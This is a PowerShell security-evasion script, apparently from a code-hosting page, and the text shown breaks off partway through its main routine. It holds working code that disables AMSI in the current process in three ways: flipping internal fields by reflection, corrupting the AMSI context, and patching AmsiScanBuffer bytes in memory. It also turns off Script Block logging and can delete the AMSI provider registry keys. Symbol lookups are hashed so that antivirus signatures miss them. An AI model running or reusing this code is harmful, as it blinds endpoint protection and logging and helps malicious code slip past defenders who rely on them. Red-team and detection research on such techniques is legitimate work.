859 lines
28 KiB
PowerShell
859 lines
28 KiB
PowerShell
#requires -version 5
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Attempts to disable AMSI within current process using well-known techniques laid out in an unsignatured way.
|
|
|
|
Author: Mariusz Banach (@mgeeky)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in
|
|
an approach to avoid signatured or otherwise considered harmful keywords.
|
|
|
|
Notice: These techniques only disable AMSI within current process context. Tricks implemented
|
|
are not system-wide and not permament.
|
|
|
|
Using a hash-lookup approach when determining prohibited symbol names, we are able
|
|
to avoid relying on blacklisted values and having them hardcoded within the script.
|
|
This implementation iterates over all of the assemblies, their exposed types, methods and
|
|
fields in order to find those that are required but by their computed hash-value rather than
|
|
direct name. Since hash-value computation algorithm was open-sources and is simple to
|
|
manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes.
|
|
|
|
A simplest approach to alter return values coming out of Get-Hash would be to change the
|
|
initial value of $val variable.
|
|
|
|
The script comes up with several techniques implemented. Triggers them one by one. Should one
|
|
return successfully, the script is going to finish it's execution.
|
|
|
|
The approaches implemented in this script heavily rely on the previous work of:
|
|
|
|
- Matt Graeber: https://github.com/mattifestation/PSReflect
|
|
- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
|
|
- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypXXXass-redux/
|
|
- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
|
|
|
|
.PARAMETER DontDisableBlockLogging
|
|
|
|
Prevents this script from attempting to disable Script-Block logging feature introduced
|
|
in Powershell Ver. 5
|
|
|
|
.PARAMETER RemoveAmsiProviders
|
|
|
|
If this script was launched as an Administrator prinicipal, an attempt to remove AMSI Providers
|
|
can be made. Such attempt will try to remove registry keys named in a GUID style, located at:
|
|
HKLM\Software\Microsoft\AMSI\ProviXders
|
|
|
|
It is recommended to firstly backup that registry key by doing something like:
|
|
cmd> reg export HKLM\Software\Microsoft\AMSI\Providers "%TEMP%\AmsiPrXoviders.reg"
|
|
|
|
.EXAMPLE
|
|
|
|
PS > "amsiIXnitFailXed"
|
|
At line:1 char:1
|
|
+ "amsiIXnitFailXed"
|
|
+ ~~~~~~~~~~~~~~~~
|
|
This script contains malicious content and has been blocked by your antivirus software.
|
|
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
|
|
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
|
|
|
|
PS > . .\Disable-Amsi.ps1
|
|
PS > Disable-Amsi
|
|
[+] Disabled Script Block logging.
|
|
[+] Success via technique 1.
|
|
PS > "amsiIXnitFailXed"
|
|
amsiIXnitFailXed
|
|
|
|
.NOTES
|
|
|
|
This script has not yet been thouroughly tested, although it has the code intended to
|
|
work on x86 systems, this code was not validated on them.
|
|
|
|
#>
|
|
|
|
function New-InMemoryModule
|
|
{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ModuleName = [Guid]::NewGuid().ToString()
|
|
)
|
|
|
|
$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
|
|
|
|
ForEach ($Assembly in $LoadedAssemblies) {
|
|
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
|
|
return $Assembly
|
|
}
|
|
}
|
|
|
|
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
|
|
$Domain = [AppDomain]::CurrentDomain
|
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
|
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
|
|
|
|
return $ModuleBuilder
|
|
}
|
|
|
|
|
|
# A helper function used to reduce typing while defining function
|
|
# prototypes for Add-Win32Type.
|
|
function func
|
|
{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[String]
|
|
$DllName,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[String]
|
|
$FunctionName,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[Type]
|
|
$ReturnType,
|
|
|
|
[Parameter(Position = 3)]
|
|
[Type[]]
|
|
$ParameterTypes,
|
|
|
|
[Parameter(Position = 4)]
|
|
[Runtime.InteropServices.CallingConvention]
|
|
$NativeCallingConvention,
|
|
|
|
[Parameter(Position = 5)]
|
|
[Runtime.InteropServices.CharSet]
|
|
$Charset,
|
|
|
|
[Switch]
|
|
$SetLastError
|
|
)
|
|
|
|
$Properties = @{
|
|
DllName = $DllName
|
|
FunctionName = $FunctionName
|
|
ReturnType = $ReturnType
|
|
}
|
|
|
|
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
|
|
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
|
|
if ($Charset) { $Properties['Charset'] = $Charset }
|
|
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
|
|
|
|
New-Object PSObject -Property $Properties
|
|
}
|
|
|
|
|
|
function Add-Win32Type
|
|
{
|
|
[OutputType([Hashtable])]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[String]
|
|
$DllName,
|
|
|
|
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[String]
|
|
$FunctionName,
|
|
|
|
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Type]
|
|
$ReturnType,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Type[]]
|
|
$ParameterTypes,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Runtime.InteropServices.CallingConvention]
|
|
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Runtime.InteropServices.CharSet]
|
|
$Charset = [Runtime.InteropServices.CharSet]::Auto,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Switch]
|
|
$SetLastError,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[ValidateNotNull()]
|
|
[String]
|
|
$Namespace = ''
|
|
)
|
|
|
|
BEGIN
|
|
{
|
|
$TypeHash = @{}
|
|
}
|
|
|
|
PROCESS
|
|
{
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
if ($Namespace)
|
|
{
|
|
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
|
|
}
|
|
else
|
|
{
|
|
$TypeHash[$DllName] = $Module.GetType($DllName)
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# Define one type for each DLL
|
|
if (!$TypeHash.ContainsKey($DllName))
|
|
{
|
|
if ($Namespace)
|
|
{
|
|
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
|
|
}
|
|
else
|
|
{
|
|
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
|
|
}
|
|
}
|
|
|
|
$Method = $TypeHash[$DllName].DefineMethod(
|
|
$FunctionName,
|
|
'Public,Static,PinvokeImpl',
|
|
$ReturnType,
|
|
$ParameterTypes)
|
|
|
|
# Make each ByRef parameter an Out parameter
|
|
$i = 1
|
|
ForEach($Parameter in $ParameterTypes)
|
|
{
|
|
if ($Parameter.IsByRef)
|
|
{
|
|
[void] $Method.DefineParameter($i, 'Out', $Null)
|
|
}
|
|
|
|
$i++
|
|
}
|
|
|
|
$DllImport = [Runtime.InteropServices.DllImportAttribute]
|
|
$SetLastErrorField = $DllImport.GetField('SetLastError')
|
|
$CallingConventionField = $DllImport.GetField('CallingConvention')
|
|
$CharsetField = $DllImport.GetField('CharSet')
|
|
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
|
|
|
|
# Equivalent to C# version of [DllImport(DllName)]
|
|
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
|
|
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
|
|
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
|
|
[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
|
|
[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
|
|
|
|
$Method.SetCustomAttribute($DllImportAttribute)
|
|
}
|
|
}
|
|
|
|
END
|
|
{
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return $TypeHash
|
|
}
|
|
|
|
$ReturnTypes = @{}
|
|
|
|
ForEach ($Key in $TypeHash.Keys)
|
|
{
|
|
$Type = $TypeHash[$Key].CreateType()
|
|
|
|
$ReturnTypes[$Key] = $Type
|
|
}
|
|
|
|
return $ReturnTypes
|
|
}
|
|
}
|
|
|
|
function field
|
|
{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[UInt16]
|
|
$Position,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[Type]
|
|
$Type,
|
|
|
|
[Parameter(Position = 2)]
|
|
[UInt16]
|
|
$Offset,
|
|
|
|
[Object[]]
|
|
$MarshalAs
|
|
)
|
|
|
|
@{
|
|
Position = $Position
|
|
Type = $Type -as [Type]
|
|
Offset = $Offset
|
|
MarshalAs = $MarshalAs
|
|
}
|
|
}
|
|
|
|
function struct
|
|
{
|
|
[OutputType([Type])]
|
|
Param
|
|
(
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$FullName,
|
|
|
|
[Parameter(Position = 3, Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$StructFields,
|
|
|
|
[Reflection.Emit.PackingSize]
|
|
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
|
|
|
|
[Switch]
|
|
$ExplicitLayout
|
|
)
|
|
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return ($Module.GetType($FullName))
|
|
}
|
|
|
|
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
|
|
Class,
|
|
Public,
|
|
Sealed,
|
|
BeforeFieldInit'
|
|
|
|
if ($ExplicitLayout)
|
|
{
|
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
|
|
}
|
|
else
|
|
{
|
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
|
|
}
|
|
|
|
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
|
|
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
|
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
|
|
|
$Fields = New-Object Hashtable[]($StructFields.Count)
|
|
|
|
# Sort each field according to the orders specified
|
|
# Unfortunately, PSv2 doesn't have the luxury of the
|
|
# hashtable [Ordered] accelerator.
|
|
ForEach ($Field in $StructFields.Keys)
|
|
{
|
|
$Index = $StructFields[$Field]['Position']
|
|
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
|
|
}
|
|
|
|
ForEach ($Field in $Fields)
|
|
{
|
|
$FieldName = $Field['FieldName']
|
|
$FieldProp = $Field['Properties']
|
|
|
|
$Offset = $FieldProp['Offset']
|
|
$Type = $FieldProp['Type']
|
|
$MarshalAs = $FieldProp['MarshalAs']
|
|
|
|
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
|
|
|
|
if ($MarshalAs)
|
|
{
|
|
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
|
|
if ($MarshalAs[1])
|
|
{
|
|
$Size = $MarshalAs[1]
|
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
|
|
$UnmanagedType, $SizeConst, @($Size))
|
|
}
|
|
else
|
|
{
|
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
|
|
}
|
|
|
|
$NewField.SetCustomAttribute($AttribBuilder)
|
|
}
|
|
|
|
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
|
|
}
|
|
|
|
# Make the struct aware of its own size.
|
|
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
|
|
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
|
|
'Public, Static',
|
|
[Int],
|
|
[Type[]] @())
|
|
$ILGenerator = $SizeMethod.GetILGenerator()
|
|
# Thanks for the help, Jason Shirk!
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Type].GetMethod('GetTypeFromHandle'))
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
|
|
|
|
# Allow for explicit casting from an IntPtr
|
|
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
|
|
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
|
|
'PrivateScope, Public, Static, HideBySig, SpecialName',
|
|
$StructBuilder,
|
|
[Type[]] @([IntPtr]))
|
|
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Type].GetMethod('GetTypeFromHandle'))
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
|
|
|
|
$StructBuilder.CreateType()
|
|
}
|
|
|
|
########################################################
|
|
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
$FunctionDefinitions = @(
|
|
# psapi
|
|
(func psapi EnumProcessModulesEx ([Bool]) @(
|
|
[IntPtr], # hProcess
|
|
[IntPtr].MakeArrayType(), # lphModule
|
|
[UInt32], # cb
|
|
[UInt32].MakeByRefType(), # cbNeeded
|
|
[UInt32] # dwFilterFlags
|
|
) -SetLastError),
|
|
|
|
(func psapi GetModuleFileNameExW ([UInt32]) @(
|
|
[IntPtr],
|
|
[IntPtr],
|
|
[System.Text.StringBuilder],
|
|
[Int32]
|
|
) -SetLastError -Charset Unicode),
|
|
|
|
# kernel32
|
|
(func kernel32 VirtualProtect ([Bool]) @(
|
|
[IntPtr],
|
|
[UInt32],
|
|
[Uint32],
|
|
[UInt32].MakeByRefType()
|
|
) -SetLastError)
|
|
|
|
(func kernel32 RtlMoveMemory ([Void]) @(
|
|
[IntPtr], # Destination
|
|
[IntPtr], # Source
|
|
[UInt32] # dwSize
|
|
))
|
|
)
|
|
|
|
$FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' | Out-Null
|
|
|
|
|
|
########################################################
|
|
|
|
function Disable-Amsi
|
|
{
|
|
Param(
|
|
[Switch]
|
|
$DontDisableBlockLogging,
|
|
|
|
[Switch]
|
|
$RemoveAmsiProviders
|
|
)
|
|
|
|
function bitshift
|
|
{
|
|
param(
|
|
[Parameter(Mandatory,Position=0)]
|
|
[long]$x,
|
|
|
|
[Parameter(ParameterSetName='Left')]
|
|
[ValidateRange(0,[int]::MaxValue)]
|
|
[int]$Left,
|
|
|
|
[Parameter(ParameterSetName='Right')]
|
|
[ValidateRange(0,[int]::MaxValue)]
|
|
[int]$Right
|
|
)
|
|
|
|
$shift = if($PSCmdlet.ParameterSetName -eq 'Left')
|
|
{
|
|
$Left
|
|
}
|
|
else
|
|
{
|
|
-$Right
|
|
}
|
|
|
|
$ret = [math]::Floor($x * [math]::Pow(2,$shift))
|
|
return [System.Convert]::TOUInt32($ret -band ([uint32]::MaxValue))
|
|
}
|
|
|
|
#
|
|
# def gethash(x):
|
|
# val = 5381
|
|
# x = x.lower()
|
|
# for a in x:
|
|
# n = (val << 5) & 0xffffffff
|
|
# val = val + n + ord(a)
|
|
# return val
|
|
#
|
|
|
|
# C:\Windows\System32\amXsi.dll - 63354690687
|
|
# System.Management.AutoXmation.dll - 65764965518
|
|
# AmsiXCloseSession - 30387720265
|
|
# AmsiXInitialize - 27745586497
|
|
# AmsiXOpenSession - 34471491749
|
|
# AmsiXScanBuffer - 27346550254
|
|
# AmsiXUacInitialize - 33631030458
|
|
# AmsiXUacScan - 19307673869
|
|
# AmsiXUacUninitialize - 32135665149
|
|
# AmsiXUninitialize - 30978397252
|
|
|
|
function Get-Hash
|
|
{
|
|
param(
|
|
[Parameter(Mandatory = $true)]
|
|
[AllowEmptyString()]
|
|
[string]$name
|
|
)
|
|
if ($name.Length -eq 0)
|
|
{
|
|
return 0
|
|
}
|
|
|
|
$name = $name.ToLower();
|
|
$val = 5381
|
|
for($i = 0; $i -lt $name.Length; $i++)
|
|
{
|
|
$n = bitshift $val -left 5
|
|
$val = ($n + $val) + [byte][char]$name[$i]
|
|
}
|
|
|
|
return $val
|
|
}
|
|
|
|
function Find-AmsiModule
|
|
{
|
|
# Get-Hash ("C:\WINDOWS\SYSTEM32\amXsi.dll")
|
|
$TargetHash = 63354690687
|
|
|
|
$handle = New-Object IntPtr -1
|
|
$cb = 1024
|
|
$cbNeeded = New-Object UInt32
|
|
$modules = New-Object IntPtr[] $cb
|
|
$null = [Win32.psapi]::EnumProcessModulesEx($handle, $modules, $cb * [IntPtr]::Size, [ref] $cbNeeded, 3)
|
|
|
|
for($i = 0; $i -lt $cb; $i ++) {
|
|
if ($modules[$i] -eq [IntPtr]::Zero) {
|
|
break;
|
|
}
|
|
|
|
$lpFileName = [Activator]::CreateInstance([System.Text.StringBuilder], 256)
|
|
$null = [Win32.psapi]::GetModuleFileNameExW($handle, $modules[$i], $lpFileName, $lpFileName.Capacity)
|
|
if ((Get-Hash($lpFileName)) -eq $TargetHash) {
|
|
return [IntPtr]$modules[$i]
|
|
}
|
|
}
|
|
|
|
return $null
|
|
}
|
|
|
|
function Get-ProcAddress
|
|
{
|
|
Param (
|
|
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $Module,
|
|
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
|
|
)
|
|
|
|
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
|
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
|
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
|
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static",
|
|
$null, [System.Reflection.CallingConventions]::Any,
|
|
@((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
|
|
$tmpPtr = New-Object IntPtr
|
|
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Module)
|
|
|
|
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
|
}
|
|
|
|
function Technique1
|
|
{
|
|
# Using reflection we find init failed non public symbol and flip it to true.
|
|
# The trick here is to avoid use of any prohibited word by refering to them via hash-lookups.
|
|
try
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 13944524928} # AmsiUXtils
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 27628075080} # amsiInXitFaXiled
|
|
$foo.SetValue($null, $true)
|
|
return $foo.GetValue($null)
|
|
}
|
|
Catch
|
|
{
|
|
return $false
|
|
}
|
|
}
|
|
|
|
function Technique2
|
|
{
|
|
# This one tries to corrupt context of AMSI as created during that inteface's
|
|
# initialization.
|
|
try
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 13944524928} # AmsiUXtils
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 21195228531} # amsiSesXsion
|
|
$foo.SetValue($null, $null)
|
|
|
|
$bar = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9077)
|
|
$baz = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 18097066420} # amsiConXtext
|
|
$baz.SetValue($null, $bar)
|
|
|
|
$xyz = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 27628075080} # amsiInXitFaXiled
|
|
return $xyz.GetValue($null)
|
|
}
|
|
Catch
|
|
{
|
|
return $false
|
|
}
|
|
}
|
|
|
|
function Technique3 ($addr)
|
|
{
|
|
if([IntPtr]::Size -eq 8)
|
|
{
|
|
# 64 bit
|
|
# Patching length-check in buffer scanning routine to make it believe it always
|
|
# receives an empty buffer.
|
|
|
|
$buf = New-Object byte[] 64
|
|
[System.Runtime.InteropServices.Marshal]::Copy($addr, $buf, 0, 0x24)
|
|
|
|
for($i = 0; $i -lt $buf.Length; $i++)
|
|
{
|
|
# mov edi, r8d
|
|
if (($buf[$i+0] -eq 0x41) -and ($buf[$i+1] -eq 0x8b) -and ($buf[$i+2] -eq 0xf8))
|
|
{
|
|
$oldProtect = New-Object UInt32
|
|
$nAddr = [IntPtr]::Add($addr, $i)
|
|
if ([Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, 0x40, [ref]$oldProtect))
|
|
{
|
|
$newBuf = New-Object byte[] 3
|
|
$newBuf[0] = 0x31;
|
|
$newBuf[1] = 0xff;
|
|
$newBuf[2] = 0x90;
|
|
|
|
$unmanaged = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5)
|
|
[System.Runtime.InteropServices.Marshal]::Copy($newBuf, 0, $unmanaged, 3)
|
|
|
|
# Patch with xor edi, edi ; nop
|
|
try
|
|
{
|
|
[Win32.kernel32]::RtlMoveMemory($nAddr, $unmanaged, 3)
|
|
[Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
return $true
|
|
}
|
|
catch
|
|
{
|
|
[Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# 32 bit approach.
|
|
# Here we just patch out the prologue of the same function with simple return 0
|
|
# sequence.
|
|
|
|
$oldProtect = New-Object UInt32
|
|
if ([Win32.kernel32]::VirtualProtect($addr, [UInt32]3, 0x40, [ref]$oldProtect))
|
|
{
|
|
# xor eax, eax; ret
|
|
$newBuf = New-Object byte[] 3
|
|
$newBuf[0] = 0x31;
|
|
$newBuf[1] = 0xc0;
|
|
$newBuf[2] = 0xc3;
|
|
|
|
$unmanaged = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5)
|
|
[System.Runtime.InteropServices.Marshal]::Copy($newBuf, 0, $unmanaged, 3)
|
|
|
|
try
|
|
{
|
|
[Win32.kernel32]::RtlMoveMemory($addr, $unmanaged, 3)
|
|
[Win32.kernel32]::VirtualProtect($addr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
return $true
|
|
}
|
|
catch
|
|
{
|
|
[Win32.kernel32]::VirtualProtect($addr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
}
|
|
}
|
|
}
|
|
|
|
return $false
|
|
}
|
|
|
|
function Disable-ScriptLogging
|
|
{
|
|
function ScriptLogging-Technique1
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)}
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 12579468197}
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 12250760746}
|
|
$out = $foo.GetValue($null)
|
|
$k0 = ""
|
|
foreach ($item in $out){
|
|
if((Get-Hash($item)) -eq 32086076268) { # ScrXiptBloXckLogXging
|
|
$k0 = $item
|
|
break
|
|
}
|
|
}
|
|
$foo.SetValue($null,(New-Object Collections.Generic.HashSet[string]))
|
|
Write-Host "[+] Finished applying technique 1"
|
|
return $k0
|
|
}
|
|
|
|
function ScriptLogging-Technique2($k0)
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 4572158998} # UXtils
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 52485150955} # caXchedGrXoupPoXlicySettXings
|
|
if(-not $foo -or $foo -eq $null) {
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 56006640029} # s_caXchedGrXoupPoXlicySettXings
|
|
}
|
|
|
|
if($foo) {
|
|
$cache = $foo.GetValue($null)
|
|
$k1 = $cache.Keys | ? {(Get-Hash($_.Split('\\')[-1])) -eq 32086076268} # ScrXiptBloXckLogXging
|
|
if($k1 -and $cache[$k1]) {
|
|
$k2 = $cache[$k1].Keys | ? {(Get-Hash($_)) -eq 45083803091} # EnabXleScrXiptBloXckLogXging
|
|
$k3 = $cache[$k1].Keys | ? {(Get-Hash($_)) -eq 70211596397} # EnabXleScrXiptBloXckInvocXationLogXging
|
|
if($k2 -and $cache[$k1][$k2]) {
|
|
$cache[$k1][$k2] = 0
|
|
}
|
|
if($k3 -and $cache[$k1][$k3]) {
|
|
$cache[$k1][$k3] = 0
|
|
}
|
|
}
|
|
|
|
$vl = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
|
|
$vl.Add('Enabl'+'e'+$k0, 0)
|
|
$k01 = $k0 -replace 'kL', 'kInvocationL'
|
|
$vl.Add('Ena'+'ble'+$k01, 0)
|
|
$cache['HKEY_LOCAL_M'+'ACHINE\Software\Policie'+'s\Microsoft\Wind'+'ows\PowerSh'+'ell\'+$k0] = $vl
|
|
}
|
|
|
|
Write-Host "[+] Finished applying technique 2"
|
|
}
|
|
|
|
$out = ScriptLogging-Technique1
|
|
ScriptLogging-Technique2 $out
|
|
return $true
|
|
}
|
|
|
|
function Check-IsAdmin {
|
|
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
|
|
return $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
|
}
|
|
|
|
function Remove-AmsiProviders {
|
|
$providers = (Get-ChildItem HKLM:\Software\Microsoft\AMSI\Providers)
|
|
$providers | ForEach-Object {
|
|
Remove-Item -Path $_.Name -Recurse
|
|
}
|
|
}
|
|
|
|
function Do-Stuff
|
|
{
|
|
$ver = $PSVersionTable.PSVersion.Major
|
|
if ($ver -lt 5) {
|
|
Write-Host "[-] Powershell environment found running at version: $ver . Required 5+"
|
|
return
|
|
}
|
|
|
|
if ($DontDisableBlockLogging -eq $false) {
|
|
if (Disable-ScriptLogging) {
|
|
Write-Host "[+] Disabled Script Block logging."
|
|
}
|
|
else {
|
|
Write-Host "[-] Could not disable Script Block logging."
|
|
}
|
|
}
|
|
|
|
if ($RemoveAmsiProviders) {
|
|
if (Check-IsAdmin) {
|
|
Remove-AmsiProviders
|
|
}
|
|
else {
|
|
Write-Host "[-] Script was not launched as Administrator. Cannot remove providers."
|
|
}
|
|
}
|
|
|
|
$imageBase = Find-AmsiModule
|
|
if ($imageBase -eq $null) {
|
|
Write-Host "[-] Could not find AMSI module."
|
|
return $null
|
|
}
|
|
|
|
$name = [System.AppDomain]::CurrentDomain.GetAssemblies() |
|
|
ForEach-Object { $_.GetTypes() } |
|
|
# TODO: Get rid of these nonpublic, static strings
|
|
ForEach-Object { $_.GetMethods('NonPublic, Public, Static') } |
|
|
ForEach-Object { $MethodInfo = $_; $_.GetCustomAttributes($false) } |
|
|
Where-Object {
|
|
$_.Value -and $MethodInfo.Name -and (((Get-Hash($_.Value)) -eq 12263690201) -and ((Get-Hash($MethodInfo.Name)) -eq 27346550254))
|
|
} | ForEach-Object { $MethodInfo.Name }
|
|
|
